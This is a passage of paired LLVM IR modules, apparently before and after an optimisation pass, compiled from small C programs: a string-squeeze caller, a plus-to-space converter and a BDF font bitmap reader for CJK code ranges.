2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpo81zzzkz.c' source_filename = "/tmp/tmpo81zzzkz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.main.s1 = private unnamed_addr constant [10 x i8] c"hello\00\00\00\00\00", align 1 @.str = private unnamed_addr constant [6 x i8] c"world\00", align 1 @.str.1 = private unnamed_addr constant [24 x i8] c"Before Sqeeze s1 is %s\0A\00", align 1 @.str.2 = private unnamed_addr constant [23 x i8] c"After Sqeeze s1 is %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i8], align 1 %3 = alloca ptr, align 8 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.s1, i64 10, i1 false) store ptr @.str, ptr %3, align 8 %4 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %5 = call i32 @printf(ptr noundef @.str.1, ptr noundef %4) %6 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %7 = load ptr, ptr %3, align 8 %8 = call i32 @sqeeze(ptr noundef %6, ptr noundef %7) %9 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %10 = call i32 @printf(ptr noundef @.str.2, ptr noundef %9) ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, ptr noundef) #2 declare i32 @sqeeze(ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpo81zzzkz.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.main.s1 = private unnamed_addr constant [10 x i8] c"hello\00\00\00\00\00", align 1 @.str = private unnamed_addr constant [6 x i8] c"world\00", align 1 @.str.1 = private unnamed_addr constant [24 x i8] c"Before Sqeeze s1 is %s\0A\00", align 1 @.str.2 = private unnamed_addr constant [23 x i8] c"After Sqeeze s1 is %s\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i8], align 1 %3 = alloca ptr, align 8 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.s1, i64 10, i1 false) store ptr @.str, ptr %3, align 8 %4 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %5 = call i32 @printf(ptr noundef @.str.1, ptr noundef %4) %6 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %7 = load ptr, ptr %3, align 8 %8 = call i32 @sqeeze(ptr noundef %6, ptr noundef %7) %9 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %10 = call i32 @printf(ptr noundef @.str.2, ptr noundef %9) ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @printf(ptr noundef, ptr noundef) #2 declare i32 @sqeeze(ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpq8rwam89.c' source_filename = "/tmp/tmpq8rwam89.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @plustospace(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call i32 @strlen(ptr noundef %5) store i32 %6, ptr %4, align 4 %7 = load ptr, ptr %2, align 8 store ptr %7, ptr %3, align 8 br label %8 8: ; preds = %30, %1 %9 = load ptr, ptr %3, align 8 %10 = load ptr, ptr %2, align 8 %11 = load i32, ptr %4, align 4 %12 = sext i32 %11 to i64 %13 = getelementptr inbounds i8, ptr %10, i64 %12 %14 = icmp ult ptr %9, %13 br i1 %14, label %15, label %20 15: ; preds = %8 %16 = load ptr, ptr %3, align 8 %17 = load i8, ptr %16, align 1 %18 = sext i8 %17 to i32 %19 = icmp ne i32 %18, 0 br label %20 20: ; preds = %15, %8 %21 = phi i1 [ false, %8 ], [ %19, %15 ] br i1 %21, label %22, label %33 22: ; preds = %20 %23 = load ptr, ptr %3, align 8 %24 = load i8, ptr %23, align 1 %25 = sext i8 %24 to i32 %26 = icmp eq i32 %25, 43 br i1 %26, label %27, label %29 27: ; preds = %22 %28 = load ptr, ptr %3, align 8 store i8 32, ptr %28, align 1 br label %29 29: ; preds = %27, %22 br label %30 30: ; preds = %29 %31 = load ptr, ptr %3, align 8 %32 = getelementptr inbounds i8, ptr %31, i32 1 store ptr %32, ptr %3, align 8 br label %8, !llvm.loop !6 33: ; preds = %20 ret void } declare i32 @strlen(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpq8rwam89.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @plustospace(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 store ptr %0, ptr %2, align 8 %5 = load ptr, ptr %2, align 8 %6 = call i32 @strlen(ptr noundef %5) store i32 %6, ptr %4, align 4 %7 = load ptr, ptr %2, align 8 store ptr %7, ptr %3, align 8 br label %8 8: ; preds = %30, %1 %9 = load ptr, ptr %3, align 8 %10 = load ptr, ptr %2, align 8 %11 = load i32, ptr %4, align 4 %12 = sext i32 %11 to i64 %13 = getelementptr inbounds i8, ptr %10, i64 %12 %14 = icmp ult ptr %9, %13 br i1 %14, label %15, label %20 15: ; preds = %8 %16 = load ptr, ptr %3, align 8 %17 = load i8, ptr %16, align 1 %18 = sext i8 %17 to i32 %19 = icmp ne i32 %18, 0 br label %20 20: ; preds = %15, %8 %21 = phi i1 [ false, %8 ], [ %19, %15 ] br i1 %21, label %22, label %33 22: ; preds = %20 %23 = load ptr, ptr %3, align 8 %24 = load i8, ptr %23, align 1 %25 = sext i8 %24 to i32 %26 = icmp eq i32 %25, 43 br i1 %26, label %27, label %29 27: ; preds = %22 %28 = load ptr, ptr %3, align 8 store i8 32, ptr %28, align 1 br label %29 29: ; preds = %27, %22 br label %30 30: ; preds = %29 %31 = load ptr, ptr %3, align 8 %32 = getelementptr inbounds i8, ptr %31, i32 1 store ptr %32, ptr %3, align 8 br label %8, !llvm.loop !6 33: ; preds = %20 ret void } declare i32 @strlen(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpu0wqoeph.c' source_filename = "/tmp/tmpu0wqoeph.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @SEEK_CUR = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpu0wqoeph.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @SEEK_CUR = dso_local global i32 0, align 4 !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp0o5k9sbd.c' source_filename = "/tmp/tmp0o5k9sbd.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdin = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"ENCODING \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"BBX \00", align 1 @.str.3 = private unnamed_addr constant [12 x i8] c"%d %d %d %d\00", align 1 @.str.4 = private unnamed_addr constant [7 x i8] c"BITMAP\00", align 1 @stdout = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [6 x i8] c"%04X:\00", align 1 @.str.6 = private unnamed_addr constant [5 x i8] c"0000\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"END\00", align 1 @.str.8 = private unnamed_addr constant [3 x i8] c"%X\00", align 1 @.str.9 = private unnamed_addr constant [5 x i8] c"%04X\00", align 1 @.str.10 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca [256 x i8], align 16 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 4, ptr %10, align 4 br label %13 13: ; preds = %175, %0 %14 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %15 = load i32, ptr @stdin, align 4 %16 = call ptr @fgets(ptr noundef %14, i32 noundef 255, i32 noundef %15) %17 = icmp ne ptr %16, null br i1 %17, label %18, label %176 18: ; preds = %13 %19 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %20 = call i64 @strncmp(ptr noundef %19, ptr noundef @.str, i32 noundef 9) %21 = icmp eq i64 %20, 0 br i1 %21, label %22, label %175 22: ; preds = %18 %23 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 9 %24 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %23, ptr noundef @.str.1, ptr noundef %4) %25 = load i32, ptr %4, align 4 %26 = icmp sge i32 %25, 11904 br i1 %26, label %27, label %30 27: ; preds = %22 %28 = load i32, ptr %4, align 4 %29 = icmp sle i32 %28, 12031 br i1 %29, label %84, label %30 30: ; preds = %27, %22 %31 = load i32, ptr %4, align 4 %32 = icmp sge i32 %31, 12032 br i1 %32, label %33, label %36 33: ; preds = %30 %34 = load i32, ptr %4, align 4 %35 = icmp sle i32 %34, 12255 br i1 %35, label %84, label %36 36: ; preds = %33, %30 %37 = load i32, ptr %4, align 4 %38 = icmp sge i32 %37, 12272 br i1 %38, label %39, label %42 39: ; preds = %36 %40 = load i32, ptr %4, align 4 %41 = icmp sle i32 %40, 12287 br i1 %41, label %84, label %42 42: ; preds = %39, %36 %43 = load i32, ptr %4, align 4 %44 = icmp sge i32 %43, 12289 br i1 %44, label %45, label %48 45: ; preds = %42 %46 = load i32, ptr %4, align 4 %47 = icmp sle i32 %46, 12351 br i1 %47, label %84, label %48 48: ; preds = %45, %42 %49 = load i32, ptr %4, align 4 %50 = icmp sge i32 %49, 12544 br i1 %50, label %51, label %54 51: ; preds = %48 %52 = load i32, ptr %4, align 4 %53 = icmp sle i32 %52, 12591 br i1 %53, label %84, label %54 54: ; preds = %51, %48 %55 = load i32, ptr %4, align 4 %56 = icmp sge i32 %55, 12704 br i1 %56, label %57, label %60 57: ; preds = %54 %58 = load i32, ptr %4, align 4 %59 = icmp sle i32 %58, 12735 br i1 %59, label %84, label %60 60: ; preds = %57, %54 %61 = load i32, ptr %4, align 4 %62 = icmp sge i32 %61, 12736 br i1 %62, label %63, label %66 63: ; preds = %60 %64 = load i32, ptr %4, align 4 %65 = icmp sle i32 %64, 12783 br i1 %65, label %84, label %66 66: ; preds = %63, %60 %67 = load i32, ptr %4, align 4 %68 = icmp sge i32 %67, 13312 br i1 %68, label %69, label %72 69: ; preds = %66 %70 = load i32, ptr %4, align 4 %71 = icmp sle i32 %70, 19903 br i1 %71, label %84, label %72 72: ; preds = %69, %66 %73 = load i32, ptr %4, align 4 %74 = icmp sge i32 %73, 19968 br i1 %74, label %75, label %78 75: ; preds = %72 %76 = load i32, ptr %4, align 4 %77 = icmp sle i32 %76, 40911 br i1 %77, label %84, label %78 78: ; preds = %75, %72 %79 = load i32, ptr %4, align 4 %80 = icmp sge i32 %79, 63744 br i1 %80, label %81, label %174 81: ; preds = %78 %82 = load i32, ptr %4, align 4 %83 = icmp sle i32 %82, 64255 br i1 %83, label %84, label %174 84: ; preds = %81, %75, %69, %63, %57, %51, %45, %39, %33, %27 br label %85 85: ; preds = %96, %84 %86 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %87 = load i32, ptr @stdin, align 4 %88 = call ptr @fgets(ptr noundef %86, i32 noundef 255, i32 noundef %87) %89 = icmp ne ptr %88, null br i1 %89, label %90, label %94 90: ; preds = %85 %91 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %92 = call i64 @strncmp(ptr noundef %91, ptr noundef @.str.2, i32 noundef 4) %93 = icmp ne i64 %92, 0 br label %94 94: ; preds = %90, %85 %95 = phi i1 [ false, %85 ], [ %93, %90 ] br i1 %95, label %96, label %97 96: ; preds = %94 br label %85, !llvm.loop !6 97: ; preds = %94 %98 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 4 %99 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %98, ptr noundef @.str.3, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9) br label %100 100: ; preds = %111, %97 %101 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %102 = load i32, ptr @stdin, align 4 %103 = call ptr @fgets(ptr noundef %101, i32 noundef 255, i32 noundef %102) %104 = icmp ne ptr %103, null br i1 %104, label %105, label %109 105: ; preds = %100 %106 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %107 = call i64 @strncmp(ptr noundef %106, ptr noundef @.str.4, i32 noundef 6) %108 = icmp ne i64 %107, 0 br label %109 109: ; preds = %105, %100 %110 = phi i1 [ false, %100 ], [ %108, %105 ] br i1 %110, label %111, label %112 111: ; preds = %109 br label %100, !llvm.loop !8 112: ; preds = %109 %113 = load i32, ptr @stdout, align 4 %114 = load i32, ptr %4, align 4 %115 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %113, ptr noundef @.str.5, i32 noundef %114) store i32 0, ptr %3, align 4 %116 = load i32, ptr %10, align 4 %117 = load i32, ptr %9, align 4 %118 = add nsw i32 %116, %117 %119 = load i32, ptr %7, align 4 %120 = add nsw i32 %118, %119 store i32 %120, ptr %11, align 4 store i32 16, ptr %2, align 4 br label %121 121: ; preds = %130, %112 %122 = load i32, ptr %2, align 4 %123 = load i32, ptr %11, align 4 %124 = icmp sgt i32 %122, %123 br i1 %124, label %125, label %133 125: ; preds = %121 %126 = load i32, ptr @stdout, align 4 %127 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %126, ptr noundef @.str.6) %128 = load i32, ptr %3, align 4 %129 = add nsw i32 %128, 4 store i32 %129, ptr %3, align 4 br label %130 130: ; preds = %125 %131 = load i32, ptr %2, align 4 %132 = add nsw i32 %131, -1 store i32 %132, ptr %2, align 4 br label %121, !llvm.loop !9 133: ; preds = %121 br label %134 134: ; preds = %153, %133 %135 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %136 = load i32, ptr @stdin, align 4 %137 = call ptr @fgets(ptr noundef %135, i32 noundef 255, i32 noundef %136) %138 = icmp ne ptr %137, null br i1 %138, label %139, label %143 139: ; preds = %134 %140 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %141 = call i64 @strncmp(ptr noundef %140, ptr noundef @.str.7, i32 noundef 3) %142 = icmp ne i64 %141, 0 br label %143 143: ; preds = %139, %134 %144 = phi i1 [ false, %134 ], [ %142, %139 ] br i1 %144, label %145, label %162 145: ; preds = %143 %146 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %147 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %146, ptr noundef @.str.8, ptr noundef %12) %148 = load i32, ptr %6, align 4 %149 = icmp sle i32 %148, 8 br i1 %149, label %150, label %153 150: ; preds = %145 %151 = load i32, ptr %12, align 4 %152 = shl i32 %151, 8 store i32 %152, ptr %12, align 4 br label %153 153: ; preds = %150, %145 %154 = load i32, ptr %8, align 4 %155 = load i32, ptr %12, align 4 %156 = lshr i32 %155, %154 store i32 %156, ptr %12, align 4 %157 = load i32, ptr @stdout, align 4 %158 = load i32, ptr %12, align 4 %159 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %157, ptr noundef @.str.9, i32 noundef %158) %160 = load i32, ptr %3, align 4 %161 = add nsw i32 %160, 4 store i32 %161, ptr %3, align 4 br label %134, !llvm.loop !10 162: ; preds = %143 br label %163 163: ; preds = %166, %162 %164 = load i32, ptr %3, align 4 %165 = icmp slt i32 %164, 64 br i1 %165, label %166, label %171 166: ; preds = %163 %167 = load i32, ptr @stdout, align 4 %168 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %167, ptr noundef @.str.6) %169 = load i32, ptr %3, align 4 %170 = add nsw i32 %169, 4 store i32 %170, ptr %3, align 4 br label %163, !llvm.loop !11 171: ; preds = %163 %172 = load i32, ptr @stdout, align 4 %173 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %172, ptr noundef @.str.10) br label %174 174: ; preds = %171, %81, %78 br label %175 175: ; preds = %174, %18 br label %13, !llvm.loop !12 176: ; preds = %13 %177 = call i32 @exit(i32 noundef 0) #3 unreachable } declare ptr @fgets(ptr noundef, i32 noundef, i32 noundef) #1 declare i64 @strncmp(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @sscanf(ptr noundef, ptr noundef, ...) #1 declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7} !12 = distinct !{!12, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp0o5k9sbd.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdin = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [10 x i8] c"ENCODING \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"BBX \00", align 1 @.str.3 = private unnamed_addr constant [12 x i8] c"%d %d %d %d\00", align 1 @.str.4 = private unnamed_addr constant [7 x i8] c"BITMAP\00", align 1 @stdout = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [6 x i8] c"%04X:\00", align 1 @.str.6 = private unnamed_addr constant [5 x i8] c"0000\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"END\00", align 1 @.str.8 = private unnamed_addr constant [3 x i8] c"%X\00", align 1 @.str.9 = private unnamed_addr constant [5 x i8] c"%04X\00", align 1 @.str.10 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca [256 x i8], align 16 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 4, ptr %10, align 4 %13 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %14 = load i32, ptr @stdin, align 4 %15 = call ptr @fgets(ptr noundef %13, i32 noundef 255, i32 noundef %14) %16 = icmp ne ptr %15, null br i1 %16, label %.lr.ph5, label %179 .lr.ph5: ; preds = %0 br label %17 17: ; preds = %.lr.ph5, %175 %18 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %19 = call i64 @strncmp(ptr noundef %18, ptr noundef @.str, i32 noundef 9) %20 = icmp eq i64 %19, 0 br i1 %20, label %21, label %175 21: ; preds = %17 %22 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 9 %23 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %22, ptr noundef @.str.1, ptr noundef %4) %24 = load i32, ptr %4, align 4 %25 = icmp sge i32 %24, 11904 br i1 %25, label %26, label %29 26: ; preds = %21 %27 = load i32, ptr %4, align 4 %28 = icmp sle i32 %27, 12031 br i1 %28, label %83, label %29 29: ; preds = %26, %21 %30 = load i32, ptr %4, align 4 %31 = icmp sge i32 %30, 12032 br i1 %31, label %32, label %35 32: ; preds = %29 %33 = load i32, ptr %4, align 4 %34 = icmp sle i32 %33, 12255 br i1 %34, label %83, label %35 35: ; preds = %32, %29 %36 = load i32, ptr %4, align 4 %37 = icmp sge i32 %36, 12272 br i1 %37, label %38, label %41 38: ; preds = %35 %39 = load i32, ptr %4, align 4 %40 = icmp sle i32 %39, 12287 br i1 %40, label %83, label %41 41: ; preds = %38, %35 %42 = load i32, ptr %4, align 4 %43 = icmp sge i32 %42, 12289 br i1 %43, label %44, label %47 44: ; preds = %41 %45 = load i32, ptr %4, align 4 %46 = icmp sle i32 %45, 12351 br i1 %46, label %83, label %47 47: ; preds = %44, %41 %48 = load i32, ptr %4, align 4 %49 = icmp sge i32 %48, 12544 br i1 %49, label %50, label %53 50: ; preds = %47 %51 = load i32, ptr %4, align 4 %52 = icmp sle i32 %51, 12591 br i1 %52, label %83, label %53 53: ; preds = %50, %47 %54 = load i32, ptr %4, align 4 %55 = icmp sge i32 %54, 12704 br i1 %55, label %56, label %59 56: ; preds = %53 %57 = load i32, ptr %4, align 4 %58 = icmp sle i32 %57, 12735 br i1 %58, label %83, label %59 59: ; preds = %56, %53 %60 = load i32, ptr %4, align 4 %61 = icmp sge i32 %60, 12736 br i1 %61, label %62, label %65 62: ; preds = %59 %63 = load i32, ptr %4, align 4 %64 = icmp sle i32 %63, 12783 br i1 %64, label %83, label %65 65: ; preds = %62, %59 %66 = load i32, ptr %4, align 4 %67 = icmp sge i32 %66, 13312 br i1 %67, label %68, label %71 68: ; preds = %65 %69 = load i32, ptr %4, align 4 %70 = icmp sle i32 %69, 19903 br i1 %70, label %83, label %71 71: ; preds = %68, %65 %72 = load i32, ptr %4, align 4 %73 = icmp sge i32 %72, 19968 br i1 %73, label %74, label %77 74: ; preds = %71 %75 = load i32, ptr %4, align 4 %76 = icmp sle i32 %75, 40911 br i1 %76, label %83, label %77 77: ; preds = %74, %71 %78 = load i32, ptr %4, align 4 %79 = icmp sge i32 %78, 63744 br i1 %79, label %80, label %174 80: ; preds = %77 %81 = load i32, ptr %4, align 4 %82 = icmp sle i32 %81, 64255 br i1 %82, label %83, label %174 83: ; preds = %80, %74, %68, %62, %56, %50, %44, %38, %32, %26 br label %84 84: ; preds = %93, %83 %85 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %86 = load i32, ptr @stdin, align 4 %87 = call ptr @fgets(ptr noundef %85, i32 noundef 255, i32 noundef %86) %88 = icmp ne ptr %87, null br i1 %88, label %89, label %93 89: ; preds = %84 %90 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %91 = call i64 @strncmp(ptr noundef %90, ptr noundef @.str.2, i32 noundef 4) %92 = icmp ne i64 %91, 0 br label %93 93: ; preds = %89, %84 %94 = phi i1 [ false, %84 ], [ %92, %89 ] br i1 %94, label %84, label %95, !llvm.loop !6 95: ; preds = %93 %96 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 4 %97 = call i32 (ptr, ptr, ...) @sscanf(ptr noundef %96, ptr noundef @.str.3, ptr noundef %6, ptr noundef %7, ptr noundef %8, ptr noundef %9) br label %98 98: ; preds = %107, %95 %99 = getelementptr inbounds [256 x i8], ptr %5, i64 0, i64 0 %100 = load i32, ptr @stdin, align 4 %101 